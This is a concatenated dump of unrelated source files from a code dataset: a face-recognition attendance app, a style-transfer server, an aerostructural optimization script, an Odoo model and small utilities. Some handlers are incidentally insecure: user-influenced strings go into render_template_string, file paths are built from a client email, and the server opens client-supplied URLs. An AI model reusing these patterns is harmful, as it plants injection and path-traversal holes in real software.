available or api in MULTIAPI_NOT_SUPPORTED]\n if invalid_apis:\n raise IndicoError(\n \"The following are not valid %s APIs: %s. Please reference the available APIs below:\\n%s\"\n % (datatype, \", \".join(invalid_apis), \", \".join(available))\n )\n\n # Convert client api names to server names before sending request\n cloud = kwargs.pop(\"cloud\", None)\n api_key = kwargs.pop('api_key', None)\n result = api_handler(\n data,\n cloud=cloud,\n api='apis/multiapi',\n url_params={\n \"apis\":apis,\n \"batch\":batch,\n \"api_key\":api_key\n },\n **kwargs\n )\n return handle_response(result)\n\n\ndef handle_response(result):\n # Parse out the results to a dicionary of api: result\n return dict((api, parsed_response(api, res))\n for api, res in result.items())\n\n\n@detect_batch_decorator\ndef analyze_text(input_text, apis=None, **kwargs):\n \"\"\"\n Given input text, returns the results of specified text apis. Possible apis\n include: [ 'text_tags', 'political', 'sentiment', 'language' ]\n\n Example usage:\n\n .. code-block:: python\n\n >>> import indicoio\n >>> text = 'Monday: Delightful with mostly sunny skies. Highs in the low 70s.'\n >>> results = indicoio.analyze_text(data = text, apis = [\"language\", \"sentiment\"])\n >>> language_results = results[\"language\"]\n >>> sentiment_results = results[\"sentiment\"]\n\n :param text: The text to be analyzed.\n :param apis: List of apis to use.\n :type text: str or unicode\n :type apis: list of str\n :rtype: Dictionary of api responses\n \"\"\" \n\n if not apis:\n apis = list(set(TEXT_APIS) - set(MULTIAPI_NOT_SUPPORTED))\n\n cloud = kwargs.pop('cloud', None)\n batch = kwargs.pop('batch', False)\n api_key = kwargs.pop('api_key', None)\n\n return multi(\n data=input_text,\n datatype=\"text\",\n cloud=cloud,\n batch=batch,\n api_key=api_key,\n apis=apis,\n **kwargs\n )\n\n\n@detect_batch_decorator\ndef analyze_image(image, apis=IMAGE_APIS, **kwargs):\n \"\"\"\n Given input image, returns the results of specified image apis. Possible apis\n include: ['fer', 'facial_features', 'image_features']\n\n Example usage:\n\n .. code-block:: python\n\n >>> import indicoio\n >>> import numpy as np\n >>> face = np.zeros((48,48)).tolist()\n >>> results = indicoio.analyze_image(image = face, apis = [\"fer\", \"facial_features\"])\n >>> fer = results[\"fer\"]\n >>> facial_features = results[\"facial_features\"]\n\n :param text: The text to be analyzed.\n :param apis: List of apis to use.\n :type text: str or unicode\n :type apis: list of str\n :rtype: Dictionary of api responses\n \"\"\"\n\n if not apis:\n apis = list(set(TEXT_APIS) - set(MULTIAPI_NOT_SUPPORTED))\n\n cloud = kwargs.pop('cloud', None)\n batch = kwargs.pop('batch', False)\n api_key = kwargs.pop('api_key', None)\n\n return multi(\n data=image_preprocess(image, batch=batch),\n datatype=\"image\",\n cloud=cloud,\n batch=batch,\n api_key=api_key,\n apis=apis,\n **kwargs\n )\n\ndef parsed_response(api, response):\n result = response.get('results', False)\n if result != False:\n return result\n raise IndicoError(\n \"Sorry, the %s API returned an unexpected response.\\n\\t%s\"\n % (api, response.get('error', \"\"))\n )\n","sub_path":"indicoio/utils/multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649133466","text":"from flask import Flask, flash, jsonify, render_template, render_template_string, request, Response, redirect, abort, stream_with_context\n\nfrom datetime import datetime\nimport time\nimport os\nimport cv2\nimport face_recognition\nimport json\nimport asyncio\nimport mysql.connector as mysql\nimport numpy as np\n\ntry:\n os.mkdir('./stores')\nexcept OSError as error:\n pass\n\napp = Flask(__name__)\n\nif app.config[\"ENV\"] == \"production\":\n app.config.from_object(\"config.ProductionConfig\")\nelif app.config[\"ENV\"] == \"development\":\n app.config.from_object(\"config.DevelopmentConfig\")\n\napp.secret_key = app.config[\"SECRET_KEY\"]\n\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\nglobal capture, whoru, success, error_message, res_status, time_interval\ncapture = 0\nsuccess = False\nres_status = 400\nerror_message = \"\"\ntime_interval = 5\n\ndb = mysql.connect(\n host=app.config[\"DB_HOST\"],\n user=app.config[\"DB_USER\"],\n passwd=app.config[\"DB_PASSWD\"],\n port=app.config[\"DB_PORT\"],\n database=app.config[\"DB_NAME\"]\n)\n\ndef generate_frames():\n camera = cv2.VideoCapture(0)\n global capture, whoru, success, error_message, res_status\n while(True):\n ret, frame = camera.read()\n if not ret:\n pass\n else:\n if(capture):\n now = datetime.now()\n p = os.path.sep.join(\n ['stores', f'face-{whoru.lower()}-{str(now).replace(\":\", \"\")}.png'])\n cv2.imwrite(p, frame)\n\n load_image = face_recognition.load_image_file(p)\n face_locations = face_recognition.face_locations(load_image)\n\n capture = 0\n\n if (len(face_locations) > 1):\n success = False\n res_status = 400\n error_message = \"More than one face detected, please try again.\"\n os.remove(p)\n break\n else:\n face_encoding = face_recognition.face_encodings(load_image)\n if (len(face_encoding) > 0):\n json_face_enc = json.dumps(face_encoding[0].tolist())\n\n os.remove(p)\n success = True\n try:\n db.cursor().execute(\n \"INSERT INTO faces (name, face_code) VALUES (%s, %s)\", (whoru, json_face_enc))\n db.commit()\n break\n except:\n success = False\n res_status = 409\n error_message = \"Conflicts, name.\"\n db.rollback()\n break\n break\n\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n yield(b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n\ndef generate_comparing_frames():\n video_capture = cv2.VideoCapture(0)\n\n sqlcursor = db.cursor()\n sqlcursor.execute(\"SELECT id, name, face_code FROM faces\")\n results = sqlcursor.fetchall()\n\n tc_buffer = {}\n known_face_id = []\n known_face_names = []\n known_face_encodings = []\n\n for row in results:\n lrow = list(row)\n lrow[2] = lrow[2][1:len(lrow[2])-1]\n\n known_face_id.append(lrow[0])\n known_face_names.append(lrow[1])\n known_face_encodings.append([float(x) for x in lrow[2].split(\",\")])\n\n # Initialize some variables\n face_locations = []\n face_encodings = []\n face_names = []\n process_this_frame = True\n\n while(True):\n # Grab a single frame of video\n ret, frame = video_capture.read()\n\n # Resize frame of video to 1/4 size for faster face recognition processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n # Only process every other frame of video to save time\n if process_this_frame:\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(\n rgb_small_frame, face_locations)\n\n face_names = []\n for face_encoding in face_encodings:\n matches = face_recognition.compare_faces(\n known_face_encodings, face_encoding)\n name = \"Unknown\"\n face_id = 0\n dt_format = '%Y-%m-%d %H:%M:%S'\n diff_minutes = time_interval\n face_matched = False\n\n face_distances = face_recognition.face_distance(\n known_face_encodings, face_encoding)\n best_match_index = np.argmin(face_distances)\n\n if matches[best_match_index]:\n name = known_face_names[best_match_index]\n face_id = known_face_id[best_match_index]\n timecheck = datetime.now()\n face_matched = True\n \n face_names.append(name)\n \n if face_matched == True:\n if len(tc_buffer) >= 1000:\n tc_buffer = {}\n\n if len(tc_buffer) > 0:\n if name in tc_buffer:\n bufftime = datetime.strptime(tc_buffer[name], dt_format)\n diff_minutes = (timecheck - bufftime).seconds/60\n\n if diff_minutes >= time_interval:\n db.cursor().execute(\n \"INSERT INTO time_check (face_id, timechecking) VALUES (%s, %s)\", (face_id, timecheck))\n db.commit()\n tc_buffer[name] = timecheck.strftime(dt_format)\n \n process_this_frame = not process_this_frame\n\n # Display the results\n for (top, right, bottom, left), name in zip(face_locations, face_names):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n colors = (0, 0, 255)\n if 'Unknown' not in name:\n colors = (0, 200, 0)\n\n cv2.rectangle(frame, (left, top), (right, bottom), colors, 2)\n cv2.rectangle(frame, (left, bottom - 35),\n (right, bottom), colors, cv2.FILLED)\n\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, name, (left + 6, bottom - 6),\n font, 1.0, (255, 255, 255), 1)\n\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n yield(b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\n@stream_with_context\ndef watch_log_streaming():\n logbuffers = []\n yield render_template_string('

Logs

')\n while True:\n sqlcursor = db.cursor()\n sqlcursor.execute(\n \"SELECT name, timechecking FROM time_check INNER JOIN faces ON time_check.face_id=faces.id WHERE DATE(timechecking)=CURRENT_DATE() ORDER BY timechecking ASC\")\n results = sqlcursor.fetchall()\n\n # yield render_template_string('')\n \n for row in results:\n if f'{row[0]}-{row[1]}' not in logbuffers:\n yield render_template_string(f'

{row[0]} - {row[1]}

')\n logbuffers.append(f'{row[0]}-{row[1]}')\n\n # yield('
NameAttendance
')\n time.sleep(time_interval)\n # await asyncio.sleep(3)(time_interval)\n\n\n@app.route('/')\ndef index(): \n sqlcursor = db.cursor()\n sqlcursor.execute(\"SELECT id, name, face_code FROM faces\")\n results = sqlcursor.fetchall()\n \n if len(results) == 0:\n return redirect('/faceregister')\n else:\n return render_template('index.html')\n\n\n@app.route('/faceregister', methods=[\"GET\", \"POST\"])\nasync def faceregister():\n if request.method == \"POST\":\n global capture, whoru, success, error_message, res_status\n whoru = request.form.get('whoru')\n capture = 1\n\n await asyncio.sleep(3)\n\n if success == False:\n return render_template(\"error.html\", error={\n \"status\": res_status,\n \"message\": error_message\n })\n else:\n flash('New Face Registered')\n return redirect('/faceregister')\n else:\n return render_template('faceregister.html')\n\n@app.route('/report', methods=[\"GET\", \"POST\"])\ndef report():\n sqlcursor = db.cursor()\n display = \"SELECT name, timechecking FROM time_check INNER JOIN faces ON time_check.face_id=faces.id\"\n condition = f\"{display} WHERE DATE(timechecking)=CURRENT_DATE()\"\n command = f\"{condition} ORDER BY timechecking ASC\"\n tmpcondition = None\n\n if request.method == \"POST\":\n name = request.form.get('name')\n date = request.form.get('date')\n value = None\n\n print(f\"name = {name}\")\n print(f\"date = {date}\")\n\n if name:\n tmpcondition = \"WHERE name=%(name)s\"\n value = ({\"name\": name})\n\n if date:\n if tmpcondition != None:\n tmpcondition += \"AND DATE(timechecking)=%(date)s\"\n value = ({\"name\":name, \"date\": date})\n else:\n tmpcondition = \"WHERE DATE(timechecking)=%(date)s\"\n value = ({\"date\": date})\n\n print(f\"tmpcondition {tmpcondition}\")\n if tmpcondition != None:\n condition = f\"{display} {tmpcondition}\"\n command = f\"{condition} ORDER BY timechecking ASC\"\n print(f\"command {command}\")\n sqlcursor.execute(command, value)\n else:\n sqlcursor.execute(command)\n else:\n sqlcursor.execute(command)\n \n results = sqlcursor.fetchall()\n\n return render_template(\"report.html\", results=results)\n\n@app.route('/video_streaming')\ndef video_streaming():\n return Response(generate_frames(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n\n@app.route('/video_comparing')\ndef video_comparing():\n return Response(generate_comparing_frames(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n@app.route('/watching_logs')\ndef watching_logs():\n return Response(watch_log_streaming())\n# camera.release()\n# cv2.destroyAllWindows()\n\n# if __name__ == '__main__':\n# app.run(port=8000)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"638021022","text":"import sys\nsys.stdin = open(\"input.txt\",\"r\")\n\nT = int(input())\n\nfor i in range(T):\n number = input().rstrip()\n count = 0\n\n if len(number) == 1:\n print('#',end='')\n print(i+1, end=' ')\n print('B')\n continue\n\n while True:\n if len(number) == 1:\n print('#',end='')\n print(i+1,end = ' ')\n if count%2 == 0:\n print('B')\n else:\n print('A')\n break\n\n a = int(number[0])\n b = int(number[1])\n Sum = a+b\n number = str(Sum) + number[2:]\n count += 1","sub_path":"6959. 이상한 나라의 덧셈게임.py","file_name":"6959. 이상한 나라의 덧셈게임.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"94669841","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, api\n\nINDIV_TYPES = [('pfd','PFD'),\n ('helmet','Helmet'),\n ('paddle','Paddle'),\n ('skirt','Skirt'),\n ('peda','Pedagogic')]\n\nLETTER_SIZES = [('xs','XS')\n ('s','S'),\n ('m','M'),\n ('l','L'),\n ('xl','XL'),\n ('xxl','XXL')]\n\nclass Individual(models.Model):\n _name = 'eqpt.individual'\n _inherits = {'eqpt.equipment':'eqpt_id'}\n\n eqpt_id = fields.Many2one('eqpt.equipment')\n eqpt_type = fields.Selection(selection=INDIV_TYPES, string=\"Equipment type\")\n letter_size = fields.Char(selection=LETTER_SIZES ,string=\"Size\")\n cm_size = feilds.Integer(string=\"Size (in cm)\")\n is_epi = fields.Boolean(string=\"IPE ?\", default=False, compute=\"update_is_epi\")\n last_revision = fields.Date(string=\"Last revision\")\n traca_number = fields.Char(string=\"Tracability Number\")\n discipline_id = fields.Many2one('pac.discipline', string=\"Discipline\")\n\n member_ids = fields.One2many('adm.asso.member', string=\"Members using it\")\n\n _order = \"letter_size, cm_size\"\n\n\n @api.one\n @api.depends('eqpt_type','is_epi')\n def update_is_epi(self):\n if self.eqpt_type in ['pfd','helmet']:\n self.is_epi = True\n else:\n self.is_epi = False\n","sub_path":"models/eqpt_individual.py","file_name":"eqpt_individual.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"625115971","text":"#!/g/kreshuk/wolny/miniconda3/envs/pytorch041/bin/python\n\nimport io\nimport time\n\nimport numpy as np\nimport scipy\nimport tensorflow as tf\nfrom urllib.parse import urlparse\nimport secrets\nimport io\nfrom pathlib import Path\nimport base64\nfrom urllib.request import urlopen\nfrom flask import Flask, request, jsonify, send_from_directory\nfrom flask_cors import CORS\nfrom PIL import Image\n\nfrom models import models_factory\nfrom models import preprocessing\n\nslim = tf.contrib.slim\n\n# define required args\ntf.app.flags.DEFINE_string(\n 'checkpoint_dir', 'tmp/tfmodel',\n 'The directory where the model was written to or an absolute path to a '\n 'checkpoint file.')\n# choose the model configuration file\ntf.app.flags.DEFINE_string(\n 'model_config_path', None,\n 'The path of the model configuration file.')\ntf.app.flags.DEFINE_float(\n 'inter_weight', 1.0,\n 'The blending weight of the style patterns in the stylized image')\nFLAGS = tf.app.flags.FLAGS\n\n# define computational graph\nif not FLAGS.checkpoint_dir:\n raise ValueError('You must supply the checkpoints directory with '\n '--checkpoint_dir')\n\ntf.logging.set_verbosity(tf.logging.INFO)\ngraph = tf.get_default_graph()\n\nwith graph.as_default():\n # define the model\n style_model, options = models_factory.get_model(FLAGS.model_config_path)\n\n # predict the stylized image\n inp_content_image = tf.placeholder(tf.float32, shape=(None, None, 3))\n inp_style_image = tf.placeholder(tf.float32, shape=(None, None, 3))\n\n # preprocess the content and style images\n content_image = preprocessing.mean_image_subtraction(inp_content_image)\n content_image = tf.expand_dims(content_image, axis=0)\n # style resizing and cropping\n style_image = preprocessing.preprocessing_image(\n inp_style_image,\n 448,\n 448,\n style_model.style_size)\n style_image = tf.expand_dims(style_image, axis=0)\n\n # style transfer\n stylized_image = style_model.transfer_styles(content_image, style_image, inter_weight=FLAGS.inter_weight)\n stylized_image = tf.squeeze(stylized_image, axis=0)\n\n # starting inference of the images\n init_fn = slim.assign_from_checkpoint_fn(FLAGS.checkpoint_dir, slim.get_model_variables(), ignore_missing_vars=True)\n sess = tf.Session(graph=graph)\n init_fn(sess)\n\n\n\napp = Flask(__name__)\nCORS(app)\n\n\nOUTPUT_DIR = Path(\"output\")\nSTYLE_IMG_DIR = Path(\"images\")\n\n\ndef save_and_b64encode(arr, suffix, email):\n root = OUTPUT_DIR / email\n root.mkdir(mode=0o755, parents=True, exist_ok=True)\n\n f = io.BytesIO()\n arr = np.clip(arr, 0, 255).astype(np.uint8)\n Image.fromarray(arr).save(f, format=\"jpeg\")\n\n uid = secrets.token_hex(nbytes=16)\n buf = f.getbuffer()\n (root / f\"{uid}-{suffix}.jpg\").write_bytes(buf)\n\n return base64.b64encode(buf).decode()\n\n\ndef dataurl2ndarray(dataurl):\n resp = urlopen(dataurl)\n return np.array(Image.open(resp.file))\n\n\ndef get_style_image(url):\n url = urlparse(url)\n path = url.path\n parts = path.strip(\"/\").split(\"/\")\n assert len(parts) == 2\n assert parts[0] == \"images\"\n name = parts[-1]\n \n np_img = np.array(Image.open(STYLE_IMG_DIR / name))\n\n if len(np_img.shape) == 2:\n np_img = np.dstack((np_img, np_img, np_img))\n if np_img.shape[2] == 4:\n np_img = np_img[:, :, :3]\n\n return np_img\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef root():\n return send_from_directory(\".\", \"index.html\")\n\n\n@app.route(\"/images/\")\ndef images(filename):\n return send_from_directory(str(STYLE_IMG_DIR), filename)\n\n\n@app.route(\"/transfer\", methods=[\"POST\"])\ndef transfer_json():\n json = request.get_json()\n email = json[\"email\"]\n\n content_image = dataurl2ndarray(json[\"contentImage\"])\n style_image = get_style_image(json[\"styleImage\"])\n\n image = sess.run(stylized_image,\n feed_dict={inp_content_image: content_image,\n inp_style_image: style_image})\n\n inverse_image = sess.run(stylized_image,\n feed_dict={inp_content_image: style_image,\n inp_style_image: content_image})\n\n image = save_and_b64encode(image, \"image\", email)\n inverse_image = save_and_b64encode(inverse_image, \"inverse\", email)\n\n return jsonify({\n \"image\": image,\n \"inverseImage\": inverse_image,\n })\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8888)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211270215","text":"################################################################################\n# This script runs an aerostructural optimization for the ScanEagle airplane,\n# a small drone used for recon missions. The geometry definition comes from\n# a variety of sources, including spec sheets and discussions with the\n# manufacturer, Insitu. A not of difference when compared to the other scripts\n# is that it uses the atmosphere group to compute some of the values\n#\n# Results using this model were presented in this paper:\n# https://arc.aiaa.org/doi/abs/10.2514/6.2018-1658\n# which was presented at AIAA SciTech 2018.\n################################################################################\n\nfrom __future__ import division, print_function\n\n# import pdb; pdb.set_trace()\nimport numpy as np\n\nfrom openaerostruct.geometry.utils import generate_mesh\n# pdb.set_trace()\nfrom openaerostruct.integration.aerostruct_groups import AerostructGeometry, AerostructPoint\n# from openaerostruct.common.atmos_group import AtmosGroup\nfrom pystatreduce.common.atmos_group import AtmosGroup\nfrom openmdao.api import IndepVarComp, Problem, SqliteRecorder\n\n\nimport time\nstart_time = time.time()\n# Total number of nodes to use in the spanwise (num_y) and\n# chordwise (num_x) directions. Vary these to change the level of fidelity.\nnum_y = 21\nnum_x = 3\n\n# Create a mesh dictionary to feed to generate_mesh to actually create\n# the mesh array.\nmesh_dict = {'num_y' : num_y,\n 'num_x' : num_x,\n 'wing_type' : 'rect',\n 'symmetry' : True,\n 'span_cos_spacing' : 0.5,\n 'span' : 3.11,\n 'root_chord' : 0.3,\n }\n\nmesh = generate_mesh(mesh_dict)\n\n# Apply camber to the mesh\ncamber = 1 - np.linspace(-1, 1, num_x) ** 2\ncamber *= 0.3 * 0.05\n\nfor ind_x in range(num_x):\n mesh[ind_x, :, 2] = camber[ind_x]\n\n# Introduce geometry manipulation variables to define the ScanEagle shape\nzshear_cp = np.zeros(10)\nzshear_cp[0] = .3\n\nxshear_cp = np.zeros(10)\nxshear_cp[0] = .15\n\nchord_cp = np.ones(10)\nchord_cp[0] = .5\nchord_cp[-1] = 1.5\nchord_cp[-2] = 1.3\n\nradius_cp = 0.01 * np.ones(10)\n\n# Define wing parameters\nsurface = {\n # Wing definition\n 'name' : 'wing', # name of the surface\n 'symmetry' : True, # if true, model one half of wing\n # reflected across the plane y = 0\n 'S_ref_type' : 'wetted', # how we compute the wing area,\n # can be 'wetted' or 'projected'\n 'fem_model_type' : 'tube',\n\n 'taper' : 0.8,\n 'zshear_cp' : zshear_cp,\n 'xshear_cp' : xshear_cp,\n 'chord_cp' : chord_cp,\n 'sweep' : 20.,\n 'twist_cp' : np.array([2.5, 2.5, 5.]), #np.zeros((3)),\n 'thickness_cp' : np.ones((3))*.008,\n\n # Give OAS the radius and mesh from before\n 'radius_cp' : radius_cp,\n 'mesh' : mesh,\n\n # Aerodynamic performance of the lifting surface at\n # an angle of attack of 0 (alpha=0).\n # These CL0 and CD0 values are added to the CL and CD\n # obtained from aerodynamic analysis of the surface to get\n # the total CL and CD.\n # These CL0 and CD0 values do not vary wrt alpha.\n 'CL0' : 0.0, # CL of the surface at alpha=0\n 'CD0' : 0.015, # CD of the surface at alpha=0\n\n # Airfoil properties for viscous drag calculation\n 'k_lam' : 0.05, # percentage of chord with laminar\n # flow, used for viscous drag\n 't_over_c_cp' : np.array([0.12]), # thickness over chord ratio\n 'c_max_t' : .303, # chordwise location of maximum (NACA0015)\n # thickness\n 'with_viscous' : True,\n 'with_wave' : False, # if true, compute wave drag\n\n # Material properties taken from http://www.performance-composites.com/carbonfibre/mechanicalproperties_2.asp\n 'yield' : 350.e6,\n\n 'fem_origin' : 0.35, # normalized chordwise location of the spar\n 'wing_weight_ratio' : 1., # multiplicative factor on the computed structural weight\n 'struct_weight_relief' : True, # True to add the weight of the structure to the loads on the structure\n 'distributed_fuel_weight' : False,\n # Constraints\n 'exact_failure_constraint' : False, # if false, use KS function\n }\n\n# Create the problem and assign the model group\nprob = Problem()\n\n# Add problem information as an independent variables component\nindep_var_comp = IndepVarComp()\nindep_var_comp.add_output('alpha', val=5., units='deg')\nindep_var_comp.add_output('Mach_number', val=0.08) # val=0.071)\nindep_var_comp.add_output('altitude', val=4.57, units='km')\nindep_var_comp.add_output('CT', val=9.80665 * 8.6e-6, units='1/s') # TSFC\nindep_var_comp.add_output('R', val=1800, units='km')\nindep_var_comp.add_output('W0', val=10., units='kg')\nindep_var_comp.add_output('load_factor', val=1.0)\nindep_var_comp.add_output('empty_cg', val=np.array([0.2, 0., 0.]), units='m')\nindep_var_comp.add_output('E', val=85.e9, units='N/m**2')\n# indep_var_comp.add_output('G', val=25.e9, units='N/m**2')\nindep_var_comp.add_output('G', val=5.e9, units='N/m**2')\nindep_var_comp.add_output('mrho', val=1.6e3, units='kg/m**3')\n\nprob.model.add_subsystem('prob_vars',\n indep_var_comp,\n promotes=['*'])\n\n# Add this IndepVarComp to the problem model\nprob.model.add_subsystem('atmos', AtmosGroup(), promotes=['*'])\n\n# Add the AerostructGeometry group, which computes all the intermediary\n# parameters for the aero and structural analyses, like the structural\n# stiffness matrix and some aerodynamic geometry arrays\naerostruct_group = AerostructGeometry(surface=surface)\n\nname = 'wing'\n\n# Add the group to the problem\nprob.model.add_subsystem(name, aerostruct_group,\n promotes_inputs=['load_factor'])\n\npoint_name = 'AS_point_0'\n\n# Create the aerostruct point group and add it to the model.\n# This contains all the actual aerostructural analyses.\nAS_point = AerostructPoint(surfaces=[surface])\n\nprob.model.add_subsystem(point_name, AS_point,\n promotes_inputs=['v', 'alpha', 'Mach_number', 're', 'rho', 'CT', 'R',\n 'W0', 'speed_of_sound', 'empty_cg', 'load_factor'])\n\n# Issue quite a few connections within the model to make sure all of the\n# parameters are connected correctly.\ncom_name = point_name + '.' + name + '_perf'\nprob.model.connect(name + '.local_stiff_transformed', point_name + '.coupled.' + name + '.local_stiff_transformed')\nprob.model.connect(name + '.nodes', point_name + '.coupled.' + name + '.nodes')\n\n# Connect aerodyamic mesh to coupled group mesh\nprob.model.connect(name + '.mesh', point_name + '.coupled.' + name + '.mesh')\n\n# Connect performance calculation variables\nprob.model.connect(name + '.radius', com_name + '.radius')\nprob.model.connect(name + '.thickness', com_name + '.thickness')\nprob.model.connect(name + '.nodes', com_name + '.nodes')\nprob.model.connect(name + '.cg_location', point_name + '.' + 'total_perf.' + name + '_cg_location')\nprob.model.connect(name + '.structural_weight', point_name + '.' + 'total_perf.' + name + '_structural_weight')\nprob.model.connect(name + '.t_over_c', com_name + '.t_over_c')\n\n# Connect the load factor\nprob.model.connect('load_factor', point_name + '.coupled.' + name + '.load_factor')\n\n# Added these connections\nprob.model.connect('E', com_name + '.struct_funcs.vonmises.E')\nprob.model.connect('G', com_name + '.struct_funcs.vonmises.G')\nprob.model.connect('mrho', name + '.struct_setup.structural_weight.mrho')\nprob.model.connect('E', name + '.struct_setup.assembly.E')\nprob.model.connect('G', name + '.struct_setup.assembly.G')\n\n# # Set the optimizer type\n# from openmdao.api import ScipyOptimizeDriver\n# prob.driver = ScipyOptimizeDriver()\n# prob.driver.options['tol'] = 1e-7\n\n# Set the optimizer type\nfrom openmdao.api import pyOptSparseDriver\nprob.driver = pyOptSparseDriver() # ScipyOptimizeDriver()\n# prob.driver.options['tol'] = 1e-7\nprob.driver.options['optimizer'] = 'SNOPT'\n# prob.driver.options['gradient method'] = 'pyopt_fd' # 'snopt_fd'\nprob.driver.options['print_results'] = True\nprob.driver.opt_settings['Major feasibility tolerance'] = 1e-9\n\n# Record data from this problem so we can visualize it using plot_wing\nrecorder = SqliteRecorder(\"aerostruct.db\")\nprob.driver.add_recorder(recorder)\nprob.driver.recording_options['record_derivatives'] = True\nprob.driver.recording_options['includes'] = ['*']\n\n# Setup problem and add design variables.\n# Here we're varying twist, thickness, sweep, and alpha.\nprob.model.add_design_var('wing.twist_cp', lower=-5., upper=10.)\nprob.model.add_design_var('wing.thickness_cp', lower=0.001, upper=0.01, scaler=1e3)\nprob.model.add_design_var('wing.sweep', lower=10., upper=30.)\nprob.model.add_design_var('alpha', lower=-10., upper=10.)\n\n# Make sure the spar doesn't fail, we meet the lift needs, and the aircraft\n# is trimmed through CM=0.\nprob.model.add_constraint('AS_point_0.wing_perf.failure', upper=0.)\nprob.model.add_constraint('AS_point_0.wing_perf.thickness_intersects', upper=0.)\nprob.model.add_constraint('AS_point_0.L_equals_W', equals=0.)\n\n# Instead of using an equality constraint here, we have to give it a little\n# wiggle room to make SLSQP work correctly.\nprob.model.add_constraint('AS_point_0.CM', lower=-0.001, upper=0.001)\nprob.model.add_constraint('wing.twist_cp', lower=np.array([-1e20, -1e20, 5.]), upper=np.array([1e20, 1e20, 5.]))\n\n# We're trying to minimize fuel burn\nprob.model.add_objective('AS_point_0.fuelburn', scaler=.1)\n# prob.model.add_objective('wing.structural_weight')\n\n# Set up the problem\nprob.setup(check=True)\n\nprob.run_model()\n\n# deriv = prob.compute_totals(of=['AS_point_0.wing_perf.failure'],\n# wrt=['Mach_number', 'CT', 'W0', 'R', 'load_factor', 'mrho', 'altitude'])\n# print('#-----------#')\n# print(deriv['AS_point_0.wing_perf.failure', 'Mach_number'])\n# print(deriv['AS_point_0.wing_perf.failure', 'CT'])\n# print(deriv['AS_point_0.wing_perf.failure', 'W0'])\n# print(deriv['AS_point_0.wing_perf.failure', 'R'])\n# print(deriv['AS_point_0.wing_perf.failure', 'load_factor'])\n# print(deriv['AS_point_0.wing_perf.failure', 'mrho'])\n# print(deriv['AS_point_0.wing_perf.failure', 'altitude'])\n# print('#-----------#')\n\n\n# print('fburn = ', prob['AS_point_0.fuelburn'])\n# Actually run the optimization problem\n# prob.run_driver()\n\ntime_elapsed = time.time() - start_time\nprint('time_elapsed = ', time_elapsed)\n\nprint(prob['v'])\n\n\"\"\"\nprint(\"fval = \", prob['AS_point_0.fuelburn'][0])\nprint('failure = ', prob['AS_point_0.wing_perf.failure'][0])\nprint('lift con = ', prob['AS_point_0.L_equals_W'][0])\nprint('thickness_intersects = \\n', prob['AS_point_0.wing_perf.thickness_intersects'])\nprint('CM = ', prob['AS_point_0.CM'][1])\n# print('wing weight = ', prob['wing.structural_weight'])\nprint()\nprint(\"twist_cp = \", prob['wing.geometry.twist'])\nprint(\"thickness = \", prob['wing.thickness'])\nprint(\"sweep = \", prob['wing.sweep'])\nprint(\"aoa = \", prob['alpha'])\n\"\"\"\n","sub_path":"pystatreduce/optimize/OAS_ScanEagle/run_scaneagle_atmos_grp.py","file_name":"run_scaneagle_atmos_grp.py","file_ext":"py","file_size_in_byte":11199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489337935","text":"import matplotlib.pyplot as plt\r\nimport networkx as nx\r\n\r\n\r\ndef printMat(Mat):\r\n print(\"Print matrix\\n\")\r\n for x in range(0, len(Mat)):\r\n for y in range(0, len(Mat[0])):\r\n print(Mat[x][y])\r\n print(\"\\n\")\r\n\r\n\r\ndef condenseList(inputlist):\r\n clist = []\r\n toSkip = []\r\n for x in range(0, len(inputlist)):\r\n if x in toSkip:\r\n continue\r\n matched = 0;\r\n for y in range(x + 1, len(inputlist)):\r\n if y in toSkip:\r\n continue\r\n if set(inputlist[x][0]) == set(inputlist[y][0]):\r\n tmpTuple = inputlist[x][0], list(set(inputlist[x][1]).union(set(inputlist[y][1])))\r\n clist.append(tmpTuple)\r\n toSkip.append(y)\r\n matched = 1\r\n break\r\n elif set(inputlist[x][1]) == set(inputlist[y][1]):\r\n tmpTuple = list(set(inputlist[x][0]).union(set(inputlist[y][0]))), inputlist[x][1]\r\n clist.append(tmpTuple)\r\n toSkip.append(y)\r\n matched = 1;\r\n break\r\n if matched == 0:\r\n clist.append(inputlist[x])\r\n\r\n return clist\r\n\r\n\r\ndef removeUnclosed(clist):\r\n flist = []\r\n listo = []\r\n lista = []\r\n for x in range(0, len(clist)):\r\n lista = []\r\n listo = []\r\n for y in range(0, len(clist[x][0])):\r\n if lista == []:\r\n lista = dictBC[clist[x][0][y]]\r\n else:\r\n lista = 